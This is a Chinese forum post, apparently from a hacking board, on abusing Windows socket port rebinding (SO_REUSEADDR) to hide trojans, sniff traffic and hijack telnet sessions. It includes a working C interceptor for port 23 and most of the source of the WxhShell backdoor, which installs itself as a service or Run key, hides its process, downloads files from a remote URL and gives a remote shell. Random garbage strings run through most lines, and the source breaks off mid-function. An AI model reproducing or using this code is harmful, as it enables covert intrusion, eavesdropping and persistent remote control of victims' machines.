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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: )wT-8o  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); z11O F  
6Vz9?puD  
  saddr.sin_family = AF_INET; \[y`'OD~  
PYGRsrcFd#  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ~]QHk?[wc  
/5u<78GW1  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 4O35 "1  
=3L;Z[^9  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 x QIq^/F0  
@)fd}tV  
  这意味着什么?意味着可以进行如下的攻击: 2 B  
p6;OL@ \~  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 2nR[Xh?L  
:Of^xj>A  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) YJ\Xj56gv  
/Njd[= B  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 [PDNwh0g5  
Q\ 0cvmU  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  p>4-s, W  
dw*_(ys  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 XCBL}pNkR  
>Wv;R2|  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 A<??T[  
~^1{B\I  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 CLUW!F  
ev*k*0  
  #include sVOyT*GY  
  #include |a Vn&qK  
  #include R=QZgpR  
  #include    hpD!2 K3>  
  DWORD WINAPI ClientThread(LPVOID lpParam);   'h,VR=e<  
  int main() NA~Vg8  
  { "$YJX1u3  
  WORD wVersionRequested; [D\k^h  
  DWORD ret; =w{Z@S(ukz  
  WSADATA wsaData; vkri+:S3  
  BOOL val; Zcx`SC-0  
  SOCKADDR_IN saddr; _sTROd)Vh  
  SOCKADDR_IN scaddr; )8$=C#qC[  
  int err; ^G}47(  
  SOCKET s; tM'P m   
  SOCKET sc; =Jyu4j *}  
  int caddsize; 9-fLz?J  
  HANDLE mt; Xg;}R:g '  
  DWORD tid;   }khV'6"'|  
  wVersionRequested = MAKEWORD( 2, 2 ); KV0]m^@x  
  err = WSAStartup( wVersionRequested, &wsaData );  2*^j  
  if ( err != 0 ) { xD~5UER  
  printf("error!WSAStartup failed!\n"); #Up86(Z  
  return -1; Al} B34.uh  
  } 9,:l8  
  saddr.sin_family = AF_INET; -C(crn  
   <+?7H\b  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 mc? Vq  
dtRwTUMe?  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); paCV!tP  
  saddr.sin_port = htons(23); 0"28'  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 9 a!$z!.  
  { $#9;)8J  
  printf("error!socket failed!\n"); .uMn0PE   
  return -1; e?8FN. q  
  } $Avjnm  
  val = TRUE; pL/DZ|S3  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 *V8<:OG|e  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) {tYZt4!{^  
  { %N>%!m  
  printf("error!setsockopt failed!\n"); w"Gm;B4  
  return -1; of%Ktm5Qi  
  } RAgg:3^  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; C26>BU<  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 2fn&#kw/  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 nrub*BuA  
YIQ 4t  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) e> e}vZlX  
  { @#T|Y&  
  ret=GetLastError(); $_"'&zQ'  
  printf("error!bind failed!\n"); R;uvkg[o  
  return -1; FKDk+ojw  
  } N4F.Y"R$(  
  listen(s,2); 6xTuNE1  
  while(1) &^}1O:8e  
  { ib#KpEk  
  caddsize = sizeof(scaddr); =Y|VgV  
  //接受连接请求 96( v  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); `{3<{wgw  
  if(sc!=INVALID_SOCKET) L*xhGoC=  
  { cQy2"vtU  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); zPn+ V7F  
  if(mt==NULL) "O3tq =Q  
  { ls\WXCH  
  printf("Thread Creat Failed!\n"); =.Pw`.  
  break; iT3BF"ZqBO  
  } /R]U}o^/(%  
  } C~,a!qY  
  CloseHandle(mt); ! >(7+B3E*  
  } GfoLae  
  closesocket(s); riY~%9iV'  
  WSACleanup(); {FeDvhv  
  return 0; t5\-v_mG=&  
  }   #rMlI3;  
  DWORD WINAPI ClientThread(LPVOID lpParam) .o(fe\KHf  
  { _.tVSV p  
  SOCKET ss = (SOCKET)lpParam; =_JjmTy;a  
  SOCKET sc; mqD}BOif  
  unsigned char buf[4096]; LM~[@_j  
  SOCKADDR_IN saddr; |W,& Hl7  
  long num; *+Ek0M  
  DWORD val; ,w<S|#W~+  
  DWORD ret; md)c0Bg8~  
  //如果是隐藏端口应用的话,可以在此处加一些判断 LG{,c.Qj*  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   4tRYw0f47  
  saddr.sin_family = AF_INET; JVvs-bK5  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1");  VA6}  
  saddr.sin_port = htons(23); 4VJ-,Z  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) D=j-!{zB  
  { BKCA <  
  printf("error!socket failed!\n"); q;T{|5/O  
  return -1; x9UX!Z5*>  
  } L iN$ pwm  
  val = 100; e'6/` Evqz  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) aH)}/n  
  { JU1~e@/'%  
  ret = GetLastError(); PxWT1 !  
  return -1; e24WW^S  
  } ,1~"eGl!  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) (y=C_wvqZ  
  { % L$bf#  
  ret = GetLastError(); {f/~1G[M  
  return -1; k9sh @ENy  
  } \=VtHu92=  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) :C(=&g<]D  
  { ^me-[ 5  
  printf("error!socket connect failed!\n"); u%&`}g  
  closesocket(sc); SD"FErJ  
  closesocket(ss); Yg]-wQrH  
  return -1; QO<jI#  
  } ` 06;   
  while(1) 132{# tG]  
  { }|0^EWL  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 2J7:\pR^  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 %aG5F}S2~  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 9vuyv*-}e  
  num = recv(ss,buf,4096,0); ]l_\71  
  if(num>0) %". HaI]  
  send(sc,buf,num,0); [L3=x;U  
  else if(num==0) 5;tD"/nz  
  break; s 1 A.+  
  num = recv(sc,buf,4096,0); 8g@<d ^8@  
  if(num>0) <GS^  
  send(ss,buf,num,0); q(  
  else if(num==0) t6bV?nc  
  break; bkOv2tZ  
  } BRw .]&/  
  closesocket(ss); y`<*U;xL  
  closesocket(sc); .5^cb%B*  
  return 0 ; a@_4PWzF:  
  } ~8'sBT  
{fPy=,>Nb  
e>} s;H,  
========================================================== )Kc<j!8-[  
$SlIr<'*"  
下边附上一个代码,,WXhSHELL %f&/E"M  
? ^0:3$La  
========================================================== \\iQEy<i  
&PR5q 7  
#include "stdafx.h" rN<0 R`4sE  
R3 -n>V5o  
#include <stdio.h> lUOF4U&r  
#include <string.h> [`ebM,W  
#include <windows.h> f}o\*|k_|  
#include <winsock2.h> td(li.,  
#include <winsvc.h> {DV_* 5  
#include <urlmon.h> \T4v|Pw\  
y_* !6Xr  
#pragma comment (lib, "Ws2_32.lib") T;Lkaxsn  
#pragma comment (lib, "urlmon.lib") w#ZoZZ wh  
H9'$C/w  
#define MAX_USER   100 // 最大客户端连接数 &W| [r(  
#define BUF_SOCK   200 // sock buffer iN bIp"W  
#define KEY_BUFF   255 // 输入 buffer }5ret  
+5w))9@  
#define REBOOT     0   // 重启 D>`xzt'.6  
#define SHUTDOWN   1   // 关机 /j #n  
Gj1&tjK  
#define DEF_PORT   5000 // 监听端口 0\X\izQ5  
d6Ht2  
#define REG_LEN     16   // 注册表键长度 8v:T.o;<  
#define SVC_LEN     80   // NT服务名长度 %"q9:{m  
S ^!n45l  
// 从dll定义API ahJ`T*)HY  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); J9\Cm!H  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); MUaq7B_>  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ~uj#4>3T  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); w;%.2VJ  
]Z>}6!  
// wxhshell配置信息 ;@mS^ik")$  
struct WSCFG { y`L>wq,KU  
  int ws_port;         // 监听端口 8EZ$g<}  
  char ws_passstr[REG_LEN]; // 口令  |tKsgj  
  int ws_autoins;       // 安装标记, 1=yes 0=no g{7.r-uu  
  char ws_regname[REG_LEN]; // 注册表键名 &agWaf1%a  
  char ws_svcname[REG_LEN]; // 服务名 OC_+("N  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 zykT*V  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 piJu+tUy  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ~Q Oe##  
int ws_downexe;       // 下载执行标记, 1=yes 0=no F|IAiE  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" @D]5civm_  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ^ sOQi6pL  
=J18eH!]  
}; &xU[E!2H%  
ZJnYIK  
// default Wxhshell configuration `"Jj1O@  
struct WSCFG wscfg={DEF_PORT, Q$a{\*[:+  
    "xuhuanlingzhe", +! ]zA4x  
    1, 6]&OrS[  
    "Wxhshell", .6ylZ  
    "Wxhshell", evya7^,F  
            "WxhShell Service", 3$jT*OyG#  
    "Wrsky Windows CmdShell Service", wx]0p  
    "Please Input Your Password: ", IQAZuN"<  
  1, 4svBzZdr  
  "http://www.wrsky.com/wxhshell.exe", Z&G+bdA>,  
  "Wxhshell.exe" |hKDvH  
    }; 7!$Q;A  
|T<_5Ik  
// 消息定义模块 c/:b.>W  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ~Zun&b)S  
char *msg_ws_prompt="\n\r? for help\n\r#>"; /74QMx?  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ;nI] !g:  
char *msg_ws_ext="\n\rExit."; F3y9@dA]  
char *msg_ws_end="\n\rQuit."; /,BD#|  
char *msg_ws_boot="\n\rReboot..."; zUt' QH7E.  
char *msg_ws_poff="\n\rShutdown..."; h8x MI  
char *msg_ws_down="\n\rSave to "; 1NbG>E#Ol  
zv|2:4H  
char *msg_ws_err="\n\rErr!"; l^! ?@Kg,z  
char *msg_ws_ok="\n\rOK!"; 5us:adm[pD  
X@--m6-  
char ExeFile[MAX_PATH]; ^3G{|JB!+  
int nUser = 0; kYM~d07 V  
HANDLE handles[MAX_USER]; |O{m2Fi  
int OsIsNt; 272q1~&  
F6LH $C  
SERVICE_STATUS       serviceStatus; SUMrFd~  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; o5u3Fjz3  
,dv+p&Tz2  
// 函数声明 -{KQr1{5UM  
int Install(void); CLxynZ \;  
int Uninstall(void); {yBs7[Wn  
int DownloadFile(char *sURL, SOCKET wsh); 1m'k|Ka  
int Boot(int flag); ,[N%Q#  
void HideProc(void); kC:uG0sW  
int GetOsVer(void); nB_?ckj,  
int Wxhshell(SOCKET wsl); C>]0YO k2  
void TalkWithClient(void *cs); xI{)6t$`  
int CmdShell(SOCKET sock); g!|=%(G=  
int StartFromService(void); k 9_`(nx  
int StartWxhshell(LPSTR lpCmdLine); $CRm3#+ ~  
<KJ/<0l  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ;/bewivNJ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); H/"-Z;0{  
vRznw&^E  
// 数据结构和表定义 q?H|o(  
SERVICE_TABLE_ENTRY DispatchTable[] = Ve8=b0&Y#j  
{ 2pZXZ  
{wscfg.ws_svcname, NTServiceMain}, 9G9t" {  
{NULL, NULL} *-#&K\  
}; d}OTO10  
, xw#NG6  
// 自我安装 imVo<Je7z(  
int Install(void) ;p.v]0]is  
{ bc*X/).  
  char svExeFile[MAX_PATH]; <NHH^M\N  
  HKEY key; vXev$x=w-  
  strcpy(svExeFile,ExeFile); DMs,y{v  
b k~( ^!R  
// 如果是win9x系统,修改注册表设为自启动 N(O9&L*4fm  
if(!OsIsNt) { M#ZcY  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #9=Vg  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); '%>=ZhO  
  RegCloseKey(key); W4 t;{b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2_)\a(.Qu  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {WJm  
  RegCloseKey(key); G5{T5#  
  return 0; xv46r=>  
    } O8f?; ]  
  } m\;R2"H%  
} l(yZO$  
else { adlV!k7RG  
r^2p*nr}  
// 如果是NT以上系统,安装为系统服务 "N;`1ce  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ?K1/ <PE+  
if (schSCManager!=0) "H2EL}3/]  
{ WEAT01  
  SC_HANDLE schService = CreateService mR!1DQ.\<  
  ( M|VyV (f  
  schSCManager, HsxVZ.dS  
  wscfg.ws_svcname, E!;SL|lj.  
  wscfg.ws_svcdisp, XYQ/^SI!:  
  SERVICE_ALL_ACCESS, wDw[RW3  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @<,X0S  
  SERVICE_AUTO_START, x-XD.qh7Hr  
  SERVICE_ERROR_NORMAL, Z~GL5]S  
  svExeFile, -7SAK1c$  
  NULL, 1eA7>$w}[  
  NULL, QemyCCP+  
  NULL, j*d yp  
  NULL, .b_)%jd x  
  NULL K~uXO  
  ); !H#bJTXB  
  if (schService!=0) O3;u G.:1  
  { ky8_UnaO  
  CloseServiceHandle(schService); ht|z<XJ  
  CloseServiceHandle(schSCManager); +2(I1  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Mc@e0  
  strcat(svExeFile,wscfg.ws_svcname); 8."]//V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { xP_cQwm`1  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); a@8v^G  
  RegCloseKey(key); `Nv=B1  
  return 0; w}L]X1#sF  
    } Y2|#V#  
  } 3s5z UT;  
  CloseServiceHandle(schSCManager); RPwbTAl}  
} ycc4W*]  
} }q`ts=dlGt  
+00b)TF  
return 1; UMv.{iEj  
} dA#Q}.*r  
Q_1:tW &  
// 自我卸载 Gq+z/Be  
int Uninstall(void) f W!a|?e$  
{ !]42^?GH  
  HKEY key; 2iHUZzz\  
!NIhx109q  
if(!OsIsNt) { B|Du@^$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { fJ5iS  
  RegDeleteValue(key,wscfg.ws_regname); i3dkYevs?  
  RegCloseKey(key); <qtr   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Wfu(*  
  RegDeleteValue(key,wscfg.ws_regname); '>NCMB{*  
  RegCloseKey(key); 9"NF/)_  
  return 0; 'g6\CZw(#  
  } tG:25T0  
} .>q8W  
} .rO]M:UY  
else { S3F;(PDzy  
C](f>)Dz /  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); XywE1}3  
if (schSCManager!=0) #[,IsEpDO1  
{ %]F d[pzF  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); *7:>EP  
  if (schService!=0) \}+_Fo/  
  { R}'bP  
  if(DeleteService(schService)!=0) {  R(!s  
  CloseServiceHandle(schService); UXeN8  
  CloseServiceHandle(schSCManager); I+BHstF5um  
  return 0; t!*?dr  
  } kv]~'Srk  
  CloseServiceHandle(schService); *e<[SZzYZ  
  } NYyh|X:m  
  CloseServiceHandle(schSCManager); 3Q"<<pi!~  
} IW>T}@ |  
} M.Y~1c4f  
S\LkL]qx  
return 1; *Tas`WA  
} yGI;ye'U  
#~#R-   
// 从指定url下载文件 ~F7 -HaQJ  
int DownloadFile(char *sURL, SOCKET wsh) uYn_? G  
{ zxJ]" N  
  HRESULT hr; wi;Br[d  
char seps[]= "/"; 6{x(.=  
char *token; ,kF1T,  
char *file; 0QFS  
char myURL[MAX_PATH]; c$ao:nP)D  
char myFILE[MAX_PATH]; dUsYZdQs  
$()5VM b  
strcpy(myURL,sURL); 9Kpa><  
  token=strtok(myURL,seps); M2d$4-<  
  while(token!=NULL)  RwKdxK+;  
  { Mc=$/ o  
    file=token; OJ,`  
  token=strtok(NULL,seps); uPhK3nCGo  
  } t,,k  
6tXq:  
GetCurrentDirectory(MAX_PATH,myFILE); Ci?Ss+|  
strcat(myFILE, "\\"); .}&` TU  
strcat(myFILE, file); } uO);k5H  
  send(wsh,myFILE,strlen(myFILE),0); e7@ojOQ%  
send(wsh,"...",3,0); MTsM]o  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 9`wZz~hL"  
  if(hr==S_OK) <nE>XAI_7  
return 0; D'7SAFOM  
else .>CPRVuVI  
return 1; Lilr0|U+  
0":ib0=  
} ?6yjy<D)$e  
z,Medw6[  
// 系统电源模块 @Gk ILFN  
int Boot(int flag) ? K ;dp  
{ sA/pVU  
  HANDLE hToken; %oq{L]C(rf  
  TOKEN_PRIVILEGES tkp; +Fuqch jq  
1|RANy  
  if(OsIsNt) { =5Q]m6-SgV  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 2-7IJ\  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); yGWxpzmRS  
    tkp.PrivilegeCount = 1; bW$J~ynM  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 6,)[+Bl  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Q 7   
if(flag==REBOOT) { 1HXjN~XF  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) K!:azP,bZ  
  return 0; ozAS[B6  
} '{E@*T /<.  
else { 8WtsKOno  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) X<i^qoV  
  return 0; 7{e% u#  
} !>v2i"  
  } {wO3<9  
  else { L0* nm.1X  
if(flag==REBOOT) { u\ #"L  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) a&tSj35*6  
  return 0; "7!;KHc  
} 2HpHxVJ  
else { t?q@H8  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 6qRx0"qB  
  return 0; |kw)KEi}H  
} U F?H>Y&  
} iTFdN}U  
)0ea+ ib  
return 1; N03HQp)g  
} fF?z|  
|K6REkzr  
// win9x进程隐藏模块 |<#{"'/=  
void HideProc(void) 2Or'c`|  
{ whpfJNz  
TT'[qfAI  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 8dZ0rPd?  
  if ( hKernel != NULL ) x97 j  
  { 0uWR<,]  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 3{""58  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); \Kl+ 5%L  
    FreeLibrary(hKernel); %ZNI:Uh  
  } XM1WfjE\  
[onGNq?#  
return; lp<g \  
} vV[eWd.o6M  
 Jd%H2`  
// 获取操作系统版本 qR(\5}  
int GetOsVer(void) My<snmr2d  
{ "]z-: \ V  
  OSVERSIONINFO winfo; <%maDM^_\(  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 1abtgDL  
  GetVersionEx(&winfo); fJ/e(t  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~MS\  
  return 1; FO!]P   
  else ux_Mrh'  
  return 0; ?**+e%$$  
} eln&]d;  
q8s0AN'@t'  
// 客户端句柄模块 O J/,pLYu  
int Wxhshell(SOCKET wsl) Ko;{I?c  
{ )#.<]&P}  
  SOCKET wsh; jgbLN/_{  
  struct sockaddr_in client; CPP` qt%f  
  DWORD myID; nyBJb(5"B  
BlXB7q,  
  while(nUser<MAX_USER) }RmU%IYc  
{ kD*2~Z?;  
  int nSize=sizeof(client); Ys@}3\Mc  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); _acE:H  
  if(wsh==INVALID_SOCKET) return 1; I 6<*X  
Bm"KOr$}-  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _C(m<n  
if(handles[nUser]==0) c}y [[EX  
  closesocket(wsh); !X"K=zt"  
else <(-3_s6-  
  nUser++; !OA]s%u  
  } !|O~$2O@  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); c8L~S/t  
U}MXT <6  
  return 0; ^;/b+ /B0  
} 31rx-D8o  
3H|_mX  
// 关闭 socket u[ L`-zI  
void CloseIt(SOCKET wsh) 2'_:S@  
{ cgm81+[%r  
closesocket(wsh); Fb7#<h  
nUser--; TQx.KM>y  
ExitThread(0); IG|X!l  
} Au4yBm u  
r41\r,`Dj  
// 客户端请求句柄 pcT:]d[1)  
void TalkWithClient(void *cs) `t_W2y   
{ 0TGLM#{  
>S'17D  
  SOCKET wsh=(SOCKET)cs; +RnkJ* l  
  char pwd[SVC_LEN]; J(c{y]`J  
  char cmd[KEY_BUFF]; .a._NW  
char chr[1]; ~v]!+`_J  
int i,j; cfcim.jB  
7N:Y?Hi\  
  while (nUser < MAX_USER) { po$ /7  
O [i#9)  
if(wscfg.ws_passstr) { xER\ZpA :,  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); rb1`UG"h$  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >TQH|}|6(y  
  //ZeroMemory(pwd,KEY_BUFF); +m8!U=Zi  
      i=0;  ))&;}2{  
  while(i<SVC_LEN) { m|=H#  
q{t*34R  
  // 设置超时 NX|v=  
  fd_set FdRead; ,`gl&iB  
  struct timeval TimeOut; d/ bEt&  
  FD_ZERO(&FdRead); mnmP<<8C,  
  FD_SET(wsh,&FdRead); =$nB/K,8AX  
  TimeOut.tv_sec=8; .G+Pe'4a  
  TimeOut.tv_usec=0; M@?xa/E64  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); p;W.lcO`0  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); NGOqy+Ty{f  
\hhmVt@@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]3g?hM6  
  pwd=chr[0]; EI:w aIr  
  if(chr[0]==0xd || chr[0]==0xa) { D3)zk@N  
  pwd=0; );Z1a&K5k  
  break; 9A,^c;  
  } Gi "941zVl  
  i++; <L`"!~Q  
    } 7.Z@Wr?  
B<~ NS)w  
  // 如果是非法用户,关闭 socket \'9PZ6q{  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); cG?cUw).E  
} n84GZ5O>7  
| fSe>uVZ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); U7I qST  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Kt"BE j  
k'#(1(xj  
while(1) { ;gs ^%z  
]p;FZ4-T  
  ZeroMemory(cmd,KEY_BUFF); tkXEHsRT  
;$a@J&  
      // 自动支持客户端 telnet标准   mZx&Xez_G  
  j=0; cZT({uYGL  
  while(j<KEY_BUFF) { M-;4   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); oiX+l5`pz  
  cmd[j]=chr[0]; tl><"6AIP  
  if(chr[0]==0xa || chr[0]==0xd) { /w]!wM  
  cmd[j]=0; R1& [S/  
  break; ap{2$k ,  
  } O9g{+e`  
  j++; :%sXO  
    } FIbp"~  
v@wb"jdFi$  
  // 下载文件 [+OnV&  
  if(strstr(cmd,"http://")) { 7^Ns&Q  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); v{9t]s>B  
  if(DownloadFile(cmd,wsh)) X`fn8~5  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); C&6IU8l\  
  else XK: 9r{r{  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M?[h0{^K  
  } ^b7GH9<&  
  else { 1!.(4gV  
b*FC\ :\  
    switch(cmd[0]) { "h|'}7p  
  :_@JA0n  
  // 帮助 H6&J;yT}  
  case '?': { 5ux`U{`m  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \TF!S"V  
    break; %~jkB.\* )  
  } <D::9c j  
  // 安装 H_0/f8GwnG  
  case 'i': { La@ +>  
    if(Install()) }sx_Yj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hAm`NJMSO  
    else I8QjKI (  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l983vKr  
    break; %/>Y/!;  
    } 9 JWa$iBH@  
  // 卸载 Rcawc Y  
  case 'r': { JXw^/Y$  
    if(Uninstall()) ~j-cS J3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #Jna6  
    else HmZ{L +"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uio@r^Xz  
    break; KL ?@@7  
    } :Dd$i_3=  
  // 显示 wxhshell 所在路径 +n7?S~R$  
  case 'p': { l27\diKPJ  
    char svExeFile[MAX_PATH]; E"L2&.  
    strcpy(svExeFile,"\n\r"); 1Jj Y!  
      strcat(svExeFile,ExeFile); CEC nq3  
        send(wsh,svExeFile,strlen(svExeFile),0); YFTjPBV  
    break; ;r6jx"i  
    } t w(JZDc  
  // 重启 [2dn\z28  
  case 'b': { (E,Yo  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); oX4q`rt  
    if(Boot(REBOOT)) ~`D|IWMDq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z(ZiFPx2Z  
    else { ?]rPRV  
    closesocket(wsh); VOr1  
    ExitThread(0); PC qZNBN  
    } (D 9Su^:1  
    break; @rHK( 25+d  
    } YhRWz=l  
  // 关机 /5#rADOS  
  case 'd': { <HRBMSR+  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); FVKW9"AyW  
    if(Boot(SHUTDOWN)) 8&Myva  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &bhq`>  
